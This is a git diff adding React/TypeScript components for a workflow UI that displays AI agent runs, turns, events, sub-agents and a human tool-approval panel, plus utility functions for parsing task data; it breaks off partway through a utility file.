+ + + {/* Status — skip at root since execution header already shows it */} + {!isRoot && } + + + + {/* Metrics — skip at root since execution header already shows totals */} + {!isRoot && ( + + + + {formatDuration(agentRun.totalDurationMs)} + + + dur + + + + {hasTokens && ( + + + {formatTokens(promptTok)} + + + ↑ + + + {formatTokens(completionTok)} + + + ↓ tok + + + )} + + )} + + ); +} + +// ─── Main component ─────────────────────────────────────────────────────────── + +export function AgentRunView({ + agentRun, + onDrillIn, + onBack, + isRoot, +}: AgentRunViewProps) { + const [selectedId, setSelectedId] = useState(null); + const [selectedNode, setSelectedNode] = useState(null); + const [selectedTurn, setSelectedTurn] = useState( + agentRun.turns[0]?.turnNumber ?? 1, + ); + const [panelWidth, setPanelWidth] = useState(1125); + const [viewMode, setViewMode] = useState("diagram"); + + const isDragging = useRef(false); + const dragStartX = useRef(0); + const dragStartWidth = useRef(0); + const panelRef = useRef(null); + + // Reset selection and turn when agent changes + useEffect(() => { + setSelectedId(null); + setSelectedNode(null); + setSelectedTurn(agentRun.turns[0]?.turnNumber ?? 1); + }, [agentRun.id]); + + const handleDragStart = useCallback((e: ReactMouseEvent) => { + isDragging.current = true; + dragStartX.current = e.clientX; + dragStartWidth.current = panelRef.current?.offsetWidth ?? 480; + const onMove = (ev: MouseEvent) => { + if (!isDragging.current) return; + const delta = dragStartX.current - ev.clientX; + setPanelWidth(Math.max(300, dragStartWidth.current + delta)); + }; + const onUp = () => { + isDragging.current = false; + document.removeEventListener("mousemove", onMove); + document.removeEventListener("mouseup", onUp); + }; + document.addEventListener("mousemove", onMove); + document.addEventListener("mouseup", onUp); + }, []); + + // Node click: open detail panel. Sub-agent navigation is intentional only + // (via "View full execution" button in the panel, not auto-navigate on click). + const handleNodeSelect = (id: string | null, node: DetailNodeData | null) => { + setSelectedId(id); + setSelectedNode(node); + }; + + const activeTurnData = + agentRun.turns.find((t) => t.turnNumber === selectedTurn) ?? + agentRun.turns[0]; + + return ( + + {/* Agent identity bar: name + model + strategy + back button */} + + + {/* Top bar: back button + turn bar + view-mode toggle */} + + + {agentRun.turns.length > 0 && ( + + )} + + + {/* View toggle: Timeline | Diagram */} + + + setViewMode("timeline")} + sx={{ + width: 28, + height: 28, + borderRadius: 1, + color: viewMode === "timeline" ? "#4969e4" : "text.disabled", + backgroundColor: + viewMode === "timeline" ? "#ebedfb" : "transparent", + "&:hover": { + backgroundColor: + viewMode === "timeline" ? "#dde2f8" : "action.hover", + }, + }} + > + + + + + setViewMode("diagram")} + sx={{ + width: 28, + height: 28, + borderRadius: 1, + color: viewMode === "diagram" ? "#4969e4" : "text.disabled", + backgroundColor: + viewMode === "diagram" ? "#ebedfb" : "transparent", + "&:hover": { + backgroundColor: + viewMode === "diagram" ? "#dde2f8" : "action.hover", + }, + }} + > + + + + + + + {/* Two-pane content */} + + {/* Left: main content */} + + {agentRun.turns.length === 0 ? ( + + + {agentRun.status === AgentStatus.RUNNING && ( + + )} + + {agentRun.agentName} + + {agentRun.model && ( + + {(() => { + const icon = getModelIconPath(agentRun.model); + return icon ? ( + + ) : null; + })()} + + {agentRun.model} + + + )} + {agentRun.input && ( + + + Input + + + {agentRun.input.length > 500 + ? agentRun.input.slice(0, 500) + "..." + : agentRun.input} + + + )} + {agentRun.status === AgentStatus.RUNNING && ( + + Waiting for agent to start processing... + + )} + + + ) : viewMode === "diagram" ? ( + + ) : ( + /* Timeline view — all events for selected turn, scrollable */ + + {activeTurnData && ( + + )} + + )} + + + {/* Right: resizable detail panel (diagram mode only) */} + {selectedNode && viewMode === "diagram" && ( + + {/* Drag handle */} + + + { + setSelectedId(null); + setSelectedNode(null); + }} + onDrillIn={onDrillIn} + /> + + + )} + + + ); +} + +export default AgentRunView; diff --git a/ui-next/src/pages/execution/AgentExecution/EventRow.tsx b/ui-next/src/pages/execution/AgentExecution/EventRow.tsx new file mode 100644 index 0000000..8ae908f --- /dev/null +++ b/ui-next/src/pages/execution/AgentExecution/EventRow.tsx @@ -0,0 +1,360 @@ +import { useState, type ReactNode } from "react"; +import { Box, Collapse, Typography, Chip } from "@mui/material"; +import { + Brain, + Wrench, + ShieldCheck, + ShieldWarning, + ArrowRight, + Pause, + ChatCircle, + Warning, + Flag, + CheckCircle, + XCircle, + Scissors, +} from "@phosphor-icons/react"; +import { AgentEvent, EventType } from "./types"; + +// ─── Visual config ───────────────────────────────────────────────────────── + +interface EventVisual { + icon: ReactNode; + color: string; + label: string; +} + +function getEventVisual(event: AgentEvent): EventVisual { + switch (event.type) { + case EventType.THINKING: + // Use model name as label when this is an LLM call + return { + icon: , + color: "#9e9e9e", + label: event.toolName ?? "LLM", + }; + case EventType.TOOL_CALL: + return { + icon: , + color: event.success === false ? "#d32f2f" : "#1976d2", + label: event.toolName ?? "Tool", + }; + case EventType.TOOL_RESULT: + return event.success === false + ? { + icon: , + color: "#d32f2f", + label: "Error", + } + : { + icon: , + color: "#388e3c", + label: "Result", + }; + case EventType.GUARDRAIL_PASS: + return { + icon: , + color: "#388e3c", + label: "Guardrail ✓", + }; + case EventType.GUARDRAIL_FAIL: + return { + icon: , + color: "#d32f2f", + label: "Guardrail ✗", + }; + case EventType.HANDOFF: + return { + icon: , + color: "#7b1fa2", + label: "Handoff", + }; + case EventType.WAITING: + return { + icon: , + color: "#f57c00", + label: "Waiting", + }; + case EventType.MESSAGE: + return { + icon: , + color: "#424242", + label: "Output", + }; + case EventType.ERROR: + return { + icon: , + color: "#d32f2f", + label: "Error", + }; + case EventType.DONE: + return { + icon: , + color: "#388e3c", + label: "Output", + }; + case EventType.CONTEXT_CONDENSED: + return { + icon: , + color: "#0288d1", + label: "Condensed", + }; + default: + return { + icon: , + color: "#757575", + label: "Event", + }; + } +} + +// ─── Detail renderer ─────────────────────────────────────────────────────── + +function JsonBlock({ value, label }: { value: unknown; label: string }) { + const text = + typeof value === "string" ? value : JSON.stringify(value, null, 2); + return ( + + + {label} + + + {text} + + + ); +} + +/** Renders expanded detail. For combined tool calls (detail.input + detail.output), shows two sections. */ +function ExpandedDetail({ event }: { event: AgentEvent }) { + const { detail, type } = event; + if (detail === null || detail === undefined) return null; + + // Combined input/output block (tool call or LLM call) + if ( + typeof detail === "object" && + !Array.isArray(detail) && + "input" in (detail as object) && + "output" in (detail as object) + ) { + const d = detail as { input: unknown; output: unknown }; + return ( + + + + + ); + } + + // Plain string or other value + return ( + + ); +} + +// ─── Context condensation separator ──────────────────────────────────────── + +function CondensedSeparator({ event }: { event: AgentEvent }) { + const info = event.condensationInfo; + return ( + + + + Context condensed + + {info && ( + + · {info.messagesBefore} → {info.messagesAfter} messages ( + {info.exchangesCondensed} exchange + {info.exchangesCondensed !== 1 ? "s" : ""} summarized · {info.trigger} + ) + + )} + + ); +} + +// ─── Main component ──────────────────────────────────────────────────────── + +interface EventRowProps { + event: AgentEvent; +} + +export function EventRow({ event }: EventRowProps) { + const [expanded, setExpanded] = useState(false); + + if (event.type === EventType.CONTEXT_CONDENSED) { + return ; + } + const visual = getEventVisual(event); + const hasDetail = event.detail !== undefined && event.detail !== null; + + const tokenLabel = + event.tokens && event.tokens.totalTokens > 0 + ? `${event.tokens.promptTokens}↑ ${event.tokens.completionTokens}↓` + : null; + + const durationLabel = + event.durationMs != null && event.durationMs > 0 + ? event.durationMs < 1000 + ? `${event.durationMs}ms` + : `${(event.durationMs / 1000).toFixed(1)}s` + : null; + + return ( + hasDetail && setExpanded((v) => !v)} + sx={{ + cursor: hasDetail ? "pointer" : "default", + px: 1.5, + py: 0.6, + borderRadius: 0.5, + "&:hover": hasDetail ? { backgroundColor: "action.hover" } : undefined, + transition: "background-color 0.1s", + }} + > + {/* Row header */} + + {/* Icon */} + + {visual.icon} + + + {/* Label chip */} + + + {/* Summary */} + + {event.summary} + + + {/* Token count */} + {tokenLabel && ( + + {tokenLabel} + + )} + + {/* Duration */} + {durationLabel && ( + + {durationLabel} + + )} + + {/* Expand indicator */} + {hasDetail && ( + + {expanded ? "▼" : "▶"} + + )} + + + {/* Expanded detail */} + {hasDetail && ( + + + + + + )} + + ); +} + +export default EventRow; diff --git a/ui-next/src/pages/execution/AgentExecution/HumanInputPanel.tsx b/ui-next/src/pages/execution/AgentExecution/HumanInputPanel.tsx new file mode 100644 index 0000000..8649f84 --- /dev/null +++ b/ui-next/src/pages/execution/AgentExecution/HumanInputPanel.tsx @@ -0,0 +1,403 @@ +/** + * HumanInputPanel — shown when an agent execution is PAUSED awaiting human input. + * + * Handles two cases: + * 1. Tool approval (@tool(approval_required=True)) — approve/reject buttons + * 2. MANUAL strategy agent selection — dropdown + confirm button + * + * Talks to the embedded AgentSpan REST API (conductor-agentspan module, + * gated by conductor.integrations.ai.enabled) — /api/agent/:id/status and + * /api/agent/:id/respond. + */ + +import { useCallback, useEffect, useState } from "react"; +import { + Alert, + Box, + Button, + CircularProgress, + MenuItem, + Select, + TextField, + Typography, +} from "@mui/material"; +import { CheckCircle, XCircle, CaretDown } from "@phosphor-icons/react"; + +interface PendingTool { + taskRefName?: string; + tool_name?: string; + parameters?: Record; + response_schema?: Record; +} + +interface AgentStatusResponse { + isWaiting?: boolean; + pendingTool?: PendingTool; +} + +interface HumanInputPanelProps { + executionId: string; + /** List of sub-agent names for MANUAL strategy selection */ + subAgentNames?: string[]; +} + +function isManualSelection(pendingTool: PendingTool | undefined): boolean { + if (!pendingTool?.tool_name) return false; + const name = pendingTool.tool_name.toLowerCase(); + return name.includes("process_selection") || name.includes("selection"); +} + +function usePendingTool(executionId: string): { + pendingTool: PendingTool | undefined; + loading: boolean; +} { + const [pendingTool, setPendingTool] = useState( + undefined, + ); + const [loading, setLoading] = useState(true); + + useEffect(() => { + let cancelled = false; + const fetchStatus = async () => { + try { + const res = await fetch(`/api/agent/${executionId}/status`); + if (!res.ok || cancelled) return; + const data: AgentStatusResponse = await res.json(); + if (!cancelled) { + setPendingTool(data.isWaiting ? data.pendingTool : undefined); + } + } catch { + // ignore — panel shows a fallback when tool is undefined + } finally { + if (!cancelled) setLoading(false); + } + }; + fetchStatus(); + return () => { + cancelled = true; + }; + }, [executionId]); + + return { pendingTool, loading }; +} + +async function callRespond( + executionId: string, + body: Record, +): Promise { + const res = await fetch(`/api/agent/${executionId}/respond`, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify(body), + }); + if (!res.ok) { + const text = await res.text().catch(() => ""); + throw new Error(`respond failed (${res.status}): ${text}`); + } +} + +// ─── Approval form ──────────────────────────────────────────────────────────── + +function ApprovalForm({ + executionId, + toolName, + parameters, + onDone, +}: { + executionId: string; + toolName?: string; + parameters?: Record; + onDone: () => void; +}) { + const [rejectReason, setRejectReason] = useState(""); + const [showRejectInput, setShowRejectInput] = useState(false); + const [submitting, setSubmitting] = useState(false); + const [error, setError] = useState(null); + + const approve = useCallback(async () => { + setSubmitting(true); + setError(null); + try { + await callRespond(executionId, { approved: true }); + onDone(); + } catch (err) { + setError(String(err)); + } finally { + setSubmitting(false); + } + }, [executionId, onDone]); + + const reject = useCallback(async () => { + setSubmitting(true); + setError(null); + try { + await callRespond(executionId, { + approved: false, + reason: rejectReason || undefined, + }); + onDone(); + } catch (err) { + setError(String(err)); + } finally { + setSubmitting(false); + } + }, [executionId, rejectReason, onDone]); + + return ( + + {/* Tool name + parameters */} + + + {toolName ?? "Tool call"} + + {parameters && Object.keys(parameters).length > 0 && ( + + {JSON.stringify(parameters, null, 2)} + + )} + + + {/* Reject reason input (conditional) */} + {showRejectInput && ( + setRejectReason(e.target.value)} + sx={{ mb: 1, fontSize: "0.8rem" }} + inputProps={{ style: { fontSize: "0.8rem" } }} + /> + )} + + {/* Buttons */} + + + {showRejectInput ? ( + + ) : ( + + )} + + + {error && ( + + {error} + + )} + + ); +} + +// ─── Manual agent selection form ────────────────────────────────────────────── + +function AgentSelectionForm({ + executionId, + subAgentNames, + onDone, +}: { + executionId: string; + subAgentNames: string[]; + onDone: () => void; +}) { + const [selected, setSelected] = useState(subAgentNames[0] ?? "0"); + const [submitting, setSubmitting] = useState(false); + const [error, setError] = useState(null); + + const confirm = useCallback(async () => { + setSubmitting(true); + setError(null); + try { + await callRespond(executionId, { selected }); + onDone(); + } catch (err) { + setError(String(err)); + } finally { + setSubmitting(false); + } + }, [executionId, selected, onDone]); + + return ( + + + Select the next agent to run: + + + + + + {error && ( + + {error} + + )} + + ); +} + +// ─── Panel wrapper ──────────────────────────────────────────────────────────── + +export function HumanInputPanel({ + executionId, + subAgentNames = [], +}: HumanInputPanelProps) { + const { pendingTool, loading } = usePendingTool(executionId); + const [dismissed, setDismissed] = useState(false); + + if (dismissed) return null; + + return ( + + + {/* Status indicator dot */} + + + + + Waiting for your input + + + {loading ? ( + + + + Loading pending action… + + + ) : isManualSelection(pendingTool) ? ( + 0 ? subAgentNames : ["0"]} + onDone={() => setDismissed(true)} + /> + ) : ( + setDismissed(true)} + /> + )} + + + + ); +} + +export default HumanInputPanel; diff --git a/ui-next/src/pages/execution/AgentExecution/SubAgentTree.tsx b/ui-next/src/pages/execution/AgentExecution/SubAgentTree.tsx new file mode 100644 index 0000000..d8dab25 --- /dev/null +++ b/ui-next/src/pages/execution/AgentExecution/SubAgentTree.tsx @@ -0,0 +1,390 @@ +import { useState } from "react"; +import { Box, Chip, Collapse, IconButton, Typography } from "@mui/material"; +import { + ArrowRight, + CaretDown, + CaretRight, + CheckCircle, + Spinner, + XCircle, +} from "@phosphor-icons/react"; +import { AgentRunData, AgentStatus, AgentStrategy } from "./types"; +import { formatDuration, formatTokens } from "./agentExecutionUtils"; + +interface SubAgentTreeProps { + subAgents: AgentRunData[]; + strategy?: AgentStrategy; + onDrillIn: (agentRun: AgentRunData) => void; + depth?: number; +} + +function StatusIcon({ + status, + size = 14, +}: { + status: AgentStatus; + size?: number; +}) { + switch (status) { + case AgentStatus.COMPLETED: + return ; + case AgentStatus.FAILED: + return ; + default: + return ; + } +} + +const OUTPUT_PREVIEW_LINES = 4; + +interface SubAgentNodeProps { + agent: AgentRunData; + onDrillIn: (run: AgentRunData) => void; + depth: number; +} + +function SubAgentNode({ agent, onDrillIn, depth }: SubAgentNodeProps) { + const [outputExpanded, setOutputExpanded] = useState(false); + const [childrenExpanded, setChildrenExpanded] = useState(false); + + const allSubAgents = agent.turns.flatMap((t) => t.subAgents); + const hasChildren = allSubAgents.length > 0; + const hasOutput = !!agent.output; + const hasFailure = + !!agent.failureReason && agent.status === AgentStatus.FAILED; + + const indent = depth * 16; + + // Determine if output is long enough to need truncation + const outputLines = agent.output?.split("\n") ?? []; + const isLongOutput = + outputLines.length > OUTPUT_PREVIEW_LINES || + (agent.output?.length ?? 0) > 400; + const previewText = + isLongOutput && !outputExpanded + ? outputLines.slice(0, OUTPUT_PREVIEW_LINES).join("\n") + "\n…" + : agent.output; + + return ( + + {/* Agent row */} + 0 ? "grey.50" : "background.paper", + }} + > + {/* Status icon */} + + + {/* Agent name */} + + {agent.agentName} + + + {/* Model */} + {agent.model && ( + + {agent.model} + + )} + + {/* Tokens */} + + {formatTokens(agent.totalTokens?.totalTokens ?? 0)} tok + + + {/* Duration */} + + {formatDuration(agent.totalDurationMs)} + + + {/* Children toggle */} + {hasChildren && ( + setChildrenExpanded((v) => !v)} + title={`${childrenExpanded ? "Collapse" : "Expand"} sub-agents`} + > + {childrenExpanded ? ( + + ) : ( + + )} + + )} + + {/* Drill-in */} + onDrillIn(agent)} + aria-label={`Drill into ${agent.agentName}`} + title="View full execution" + > + + + + + {/* Output / failure — always visible, no click needed */} + {(hasOutput || hasFailure) && ( + + {hasFailure && ( + + + ✗ Failed: {agent.failureReason} + + + )} + + {hasOutput && ( + <> + + {previewText} + + {isLongOutput && ( + setOutputExpanded((v) => !v)} + sx={{ + color: "primary.main", + cursor: "pointer", + display: "block", + mt: 0.5, + }} + > + {outputExpanded ? "Show less" : "Show more"} + + )} + + )} + + )} + + {/* Nested sub-agents (expanded on demand) */} + {hasChildren && ( + + + + + + )} + + ); +} + +export function SubAgentTree({ + subAgents, + strategy, + onDrillIn, + depth = 0, +}: SubAgentTreeProps) { + if (subAgents.length === 0) return null; + + const completedCount = subAgents.filter( + (a) => a.status === AgentStatus.COMPLETED, + ).length; + const failedCount = subAgents.filter( + (a) => a.status === AgentStatus.FAILED, + ).length; + const activeCount = subAgents.filter( + (a) => a.status === AgentStatus.RUNNING || a.status === AgentStatus.WAITING, + ).length; + + return ( + + {/* Header — only at root depth */} + {depth === 0 && ( + + + SUB-AGENTS ({subAgents.length}) + + {strategy && + (() => { + const cfg: Record< + AgentStrategy, + { label: string; color: string; bg: string } + > = { + [AgentStrategy.HANDOFF]: { + label: "Handoff", + color: "#7c3aed", + bg: "#ede9fe", + }, + [AgentStrategy.PARALLEL]: { + label: "Parallel", + color: "#0369a1", + bg: "#e0f2fe", + }, + [AgentStrategy.SEQUENTIAL]: { + label: "Sequential", + color: "#0369a1", + bg: "#e0f2fe", + }, + [AgentStrategy.ROUTER]: { + label: "Router", + color: "#b45309", + bg: "#fef3c7", + }, + [AgentStrategy.SINGLE]: { + label: "Single", + color: "#6b7280", + bg: "#f3f4f6", + }, + }; + const c = cfg[strategy] ?? { + label: strategy, + color: "#6b7280", + bg: "#f3f4f6", + }; + return ( + + {c.label} + + ); + })()} + + {completedCount > 0 && ( + + )} + {failedCount > 0 && ( + + )} + {activeCount > 0 && ( + + )} + + )} + + {subAgents.map((agent) => ( + + ))} + + ); +} + +export default SubAgentTree; diff --git a/ui-next/src/pages/execution/AgentExecution/TurnBar.tsx b/ui-next/src/pages/execution/AgentExecution/TurnBar.tsx new file mode 100644 index 0000000..ca547f9 --- /dev/null +++ b/ui-next/src/pages/execution/AgentExecution/TurnBar.tsx @@ -0,0 +1,185 @@ +import { useRef, useLayoutEffect } from "react"; +import { Box, MenuItem, Select, Tooltip, Typography } from "@mui/material"; +import { AgentTurn, AgentStatus } from "./types"; +import { formatDuration } from "./agentExecutionUtils"; + +interface TurnBarProps { + turns: AgentTurn[]; + selectedTurn: number; + onSelectTurn: (turnNumber: number) => void; +} + +const GREEN = "#40BA56"; +const RED = "#DD2222"; +const AMBER = "#f59e0b"; + +function turnColor(status: AgentStatus) { + if (status === AgentStatus.FAILED) return RED; + if (status === AgentStatus.RUNNING || status === AgentStatus.WAITING) + return AMBER; + return GREEN; +} + +export function TurnBar({ turns, selectedTurn, onSelectTurn }: TurnBarProps) { + const selectedRef = useRef(null); + + useLayoutEffect(() => { + selectedRef.current?.scrollIntoView({ + block: "nearest", + inline: "center", + behavior: "smooth", + }); + }, [selectedTurn]); + + if (turns.length === 0) return null; + + return ( + + *:first-of-type button": { borderRadius: "4px 0 0 4px" }, + "& > *:last-of-type button": { borderRadius: "0 4px 4px 0" }, + }} + > + {turns.map((turn, i) => { + const active = turn.turnNumber === selectedTurn; + const color = turnColor(turn.status); + const isFirst = i === 0; + const isLast = i === turns.length - 1; + + return ( + +
      + Turn {turn.turnNumber} +
      + {formatDuration(turn.durationMs) !== "—" && ( +
      {formatDuration(turn.durationMs)}
      + )} + {turn.subAgents.length > 0 && ( +
      + {turn.subAgents.length} sub-agent + {turn.subAgents.length > 1 ? "s" : ""} +
      + )} +       + } + placement="bottom" + arrow + > + onSelectTurn(turn.turnNumber)} + sx={{ + // Reset button styles + appearance: "none", + fontFamily: "inherit", + cursor: "pointer", + // Fixed-width pill + width: 80, + flexShrink: 0, + height: 26, + px: 0, + display: "flex", + alignItems: "center", + justifyContent: "center", + gap: "3px", + // Visual + backgroundColor: active ? color : "#fff", + color: active ? "#fff" : "#858585", + borderTop: `1px solid ${active ? color : "#DDDDDD"}`, + borderBottom: `1px solid ${active ? color : "#DDDDDD"}`, + borderRight: `1px solid ${active ? color : "#DDDDDD"}`, + borderLeft: `1px solid ${active ? color : "#DDDDDD"}`, + // Radius — only on ends + borderRadius: isFirst + ? "3px 0 0 3px" + : isLast + ? "0 3px 3px 0" + : 0, + // Collapse adjacent borders + marginRight: isLast ? 0 : "-1px", + position: "relative", + zIndex: active ? 1 : 0, + transition: "all 0.1s ease", + outline: "none", + "&:hover": { + zIndex: 2, + borderColor: color, + color: active ? "#fff" : color, + backgroundColor: active ? color : `${color}12`, + }, + }} + > + + {turn.turnNumber} + + + {/* Tiny status dot — only failed/running */} + {!active && turn.status !== AgentStatus.COMPLETED && ( + + )} + + + ); + })} + + + {/* Jump dropdown — only when many turns */} + {turns.length > 8 && ( + + )} +       + ); +} + +export default TurnBar; diff --git a/ui-next/src/pages/execution/AgentExecution/TurnDetail.tsx b/ui-next/src/pages/execution/AgentExecution/TurnDetail.tsx new file mode 100644 index 0000000..b2247cb --- /dev/null +++ b/ui-next/src/pages/execution/AgentExecution/TurnDetail.tsx @@ -0,0 +1,68 @@ +import { Box, Typography } from "@mui/material"; +import { AgentRunData, AgentTurn } from "./types"; +import { formatDuration, formatTokens } from "./agentExecutionUtils"; +import { EventRow } from "./EventRow"; +import { SubAgentTree } from "./SubAgentTree"; + +interface TurnDetailProps { + turn: AgentTurn; + onDrillIn: (agentRun: AgentRunData) => void; +} + +export function TurnDetail({ turn, onDrillIn }: TurnDetailProps) { + return ( + + {/* Header bar */} + + + Turn {turn.turnNumber} + + + + + + {formatTokens(turn.tokens.totalTokens)} tokens + + + + {formatDuration(turn.durationMs)} + + + + {/* Events list */} + {turn.events.length > 0 && ( + + {turn.events.map((event) => ( + + ))} + + )} + + {/* Sub-agent section */} + {turn.subAgents.length > 0 && ( + + + + )} + + ); +} + +export default TurnDetail; diff --git a/ui-next/src/pages/execution/AgentExecution/agentExecutionUtils.ts b/ui-next/src/pages/execution/AgentExecution/agentExecutionUtils.ts new file mode 100644 index 0000000..e738c8f --- /dev/null +++ b/ui-next/src/pages/execution/AgentExecution/agentExecutionUtils.ts @@ -0,0 +1,1476 @@ +import { + AgentEvent, + AgentRunData, + AgentStatus, + AgentStrategy, + AgentTurn, + EventType, + ExecutionMetrics, + FinishReason, + TaskAttempt, + TokenUsage, +} from "./types"; +import { + ExecutionTask, + WorkflowExecution, + WorkflowExecutionStatus, +} from "types/Execution"; + +/** Map a model name to its provider icon path in /integrations-icons/ */ +export function getModelIconPath(model: string | undefined): string | null { + if (!model) return null; + const m = model.toLowerCase(); + if (m.includes("claude")) return "/integrations-icons/anthropic.svg"; + if ( + m.includes("openai") || + m.includes("gpt") || + m.includes("o1") || + m.includes("o3") + ) + return "/integrations-icons/openAI.svg"; + if (m.includes("gemini")) return "/integrations-icons/googlegemini.svg"; + if (m.includes("mistral")) return "/integrations-icons/mistralai.svg"; + if (m.includes("bedrock")) return "/integrations-icons/bedrock.svg"; + if (m.includes("azure")) return "/integrations-icons/azureOpenAI.svg"; + if (m.includes("cohere")) return "/integrations-icons/cohere.svg"; + if (m.includes("ollama") || m.includes("llama")) + return "/integrations-icons/ollama.svg"; + if (m.includes("vertex")) return "/integrations-icons/vertexAI.svg"; + if (m.includes("perplexity")) return "/integrations-icons/perplexity.svg"; + if (m.includes("hugging") || m.startsWith("hf-")) + return "/integrations-icons/huggingFace.svg"; + return null; +} + +/** Build a CONTEXT_CONDENSED event from task inputData if _condensation metadata is present */ +function maybeCondensationEvent(task: ExecutionTask): AgentEvent | null { + const info = (task.inputData as Record | undefined) + ?._condensation; + if (!info || typeof info !== "object") return null; + const c = info as Record; + const condensationInfo = { + trigger: String(c.trigger ?? ""), + messagesBefore: Number(c.messagesBefore ?? 0), + messagesAfter: Number(c.messagesAfter ?? 0), + exchangesCondensed: Number(c.exchangesCondensed ?? 0), + }; + return { + id: `${task.taskId}-condensed`, + type: EventType.CONTEXT_CONDENSED, + timestamp: task.startTime ?? 0, + summary: `Context condensed: ${condensationInfo.messagesBefore} → ${condensationInfo.messagesAfter} messages`, + condensationInfo, + }; +} + +function sumTokens(tokensList: TokenUsage[]): TokenUsage { + return tokensList.reduce( + (acc, t) => ({ + promptTokens: acc.promptTokens + t.promptTokens, + completionTokens: acc.completionTokens + t.completionTokens, + totalTokens: acc.totalTokens + t.totalTokens, + }), + { promptTokens: 0, completionTokens: 0, totalTokens: 0 }, + ); +} + +/** Compute aggregate metrics recursively across all agents */ +export function computeMetrics(run: AgentRunData): ExecutionMetrics { + const allRuns = collectAllRuns(run); + const totalTokens = sumTokens(allRuns.map((r) => r.totalTokens)); + const totalTurns = allRuns.reduce((sum, r) => sum + r.turns.length, 0); + const totalDurationMs = run.totalDurationMs; // Use root agent's wall-clock time + const failedAgents = allRuns.filter( + (r) => r.status === AgentStatus.FAILED, + ).length; + const waitingAgents = allRuns.filter( + (r) => r.status === AgentStatus.WAITING, + ).length; + + return { + totalAgents: allRuns.length, + totalTurns, + totalTokens, + totalDurationMs, + failedAgents, + waitingAgents, + }; +} + +function collectAllRuns(run: AgentRunData): AgentRunData[] { + const result: AgentRunData[] = [run]; + for (const turn of run.turns) { + for (const sub of turn.subAgents) { + result.push(...collectAllRuns(sub)); + } + } + return result; +} + +/** Format duration in ms to a human-readable string */ +export function formatDuration(ms: number): string { + if (ms <= 0) return "—"; + if (ms < 1000) return `${ms}ms`; + return `${(ms / 1000).toFixed(1)}s`; +} + +/** Format token count for display */ +export function formatTokens(count: number): string { + if (count < 1000) return String(count); + return `${(count / 1000).toFixed(1)}k`; +} + +// ─── Workflow Execution Transformers ──────────────────────────────────────── + +const ZERO_TOKENS: TokenUsage = { + promptTokens: 0, + completionTokens: 0, + totalTokens: 0, +}; + +function toMs(value: string | number | undefined | null): number { + if (value == null || value === 0 || value === "") return 0; + return typeof value === "number" ? value : parseInt(value, 10) || 0; +} + +/** Maps task status to a tri-state success flag: true=completed, false=failed, undefined=in-progress */ +function taskSuccess(status: string): boolean | undefined { + if (status === "COMPLETED") return true; + if (status === "FAILED" || status === "TIMED_OUT") return false; + return undefined; // IN_PROGRESS → caller shows spinner +} + +/** + * Deduplicate retried tasks: when Conductor retries a timed-out/failed task, + * BOTH the original attempt AND the retry appear in the task list with the same + * referenceTaskName but increasing retryCount. Keep only the latest attempt + * (highest retryCount) and return a map of referenceTaskName → total attempts. + */ +function deduplicateRetriedTasks(tasks: ExecutionTask[]): { + tasks: ExecutionTask[]; + attemptCounts: Map; + attemptGroups: Map; +} { + const byRef = new Map(); + for (const t of tasks) { + const ref = t.referenceTaskName; + if (!byRef.has(ref)) byRef.set(ref, []); + byRef.get(ref)!.push(t); + } + const deduped: ExecutionTask[] = []; + const attemptCounts = new Map(); + const attemptGroups = new Map(); + for (const [ref, group] of byRef) { + if (group.length > 1) { + attemptCounts.set(ref, group.length); + // Sort ascending by retryCount so attempt[0]=oldest, last=latest + group.sort((a, b) => (a.retryCount ?? 0) - (b.retryCount ?? 0)); + attemptGroups.set(ref, group); + } + // Keep the latest attempt (last after ascending sort) + deduped.push(group[group.length - 1]); + } + return { tasks: deduped, attemptCounts, attemptGroups }; +} + +function buildAllAttempts( + refName: string, + attemptGroups: Map, +): TaskAttempt[] | undefined { + const group = attemptGroups.get(refName); + if (!group || group.length <= 1) return undefined; + return group.map( + (t): TaskAttempt => ({ + taskId: t.taskId ?? "", + retryCount: t.retryCount ?? 0, + status: t.status, + startTime: t.startTime ?? undefined, + endTime: t.endTime ?? undefined, + durationMs: t.endTime && t.startTime ? t.endTime - t.startTime : 0, + workerId: t.workerId ?? undefined, + reasonForIncompletion: t.reasonForIncompletion ?? undefined, + inputData: t.inputData as Record | undefined, + outputData: t.outputData as Record | undefined, + }), + ); +} + +function mapTaskStatus(status: string): AgentStatus { + switch (status) { + case "COMPLETED": + return AgentStatus.COMPLETED; + case "FAILED": + return AgentStatus.FAILED; + case "IN_PROGRESS": + return AgentStatus.RUNNING; + default: + return AgentStatus.RUNNING; + } +} + +function mapWorkflowStatus(status: WorkflowExecutionStatus): AgentStatus { + switch (status) { + case WorkflowExecutionStatus.COMPLETED: + return AgentStatus.COMPLETED; + case WorkflowExecutionStatus.FAILED: + case WorkflowExecutionStatus.TIMED_OUT: + case WorkflowExecutionStatus.TERMINATED: + return AgentStatus.FAILED; + case WorkflowExecutionStatus.PAUSED: + return AgentStatus.WAITING; + default: + return AgentStatus.RUNNING; + } +} + +/** Extract trailing iteration number from task name (e.g. "foo__3" → 3) */ +function getIterationNum(name: string): number | null { + const m = name.match(/__(\d+)$/); + return m ? parseInt(m[1], 10) : null; +} + +/** Extract agent name from sub-workflow task reference name. + * HANDOFF pattern: "workflow_handoff_0_planner_t1__1" → "planner_t1" + * SWARM pattern: "workflow_agent_1_engineering_lead__2" → "engineering_lead" + * PARALLEL pattern: "coordinator_parallel_0_researcher" → "researcher" + * Simple pattern: "researcher__1" → "researcher" + */ +function extractAgentName(name: string): string | null { + let m = name.match(/_handoff_\d+_(.+?)__\d+$/); + if (m) return m[1]; + m = name.match(/_agent_\d+_(.+?)__\d+$/); + if (m) return m[1]; + // Parallel fork: "coordinator_parallel_0_researcher" → "researcher" + m = name.match(/_parallel_\d+_(.+?)(?:__\d+)?$/); + if (m) return m[1]; + // Simple: strip __N iteration suffix → "researcher__1" → "researcher" + m = name.match(/^(.+?)__\d+$/); + return m ? m[1] : null; +} + +/** All SUB_WORKFLOW tasks in agent context are sub-agents */ +function isAgentSubWorkflow(task: ExecutionTask): boolean { + return task.taskType === "SUB_WORKFLOW"; +} + +// ─── Sequential chain detection ────────────────────────────────────────────── + +/** Returns the step index (N) if ref matches {chain}_step_{N}_{agent} SUB_WORKFLOW pattern */ +function getChainStepNum(ref: string): number | null { + const m = ref.match(/_step_(\d+)_/); + return m ? parseInt(m[1], 10) : null; +} + +/** Extract agent name from a chain step ref: {chain_name}_step_{N}_{agent_name} */ +function getChainAgentName(ref: string): string | null { + const m = ref.match(/_step_\d+_(.+)$/); + return m ? m[1] : null; +} + +/** + * A chain workflow has SUB_WORKFLOW tasks with _step_N_ in their ref names, + * no 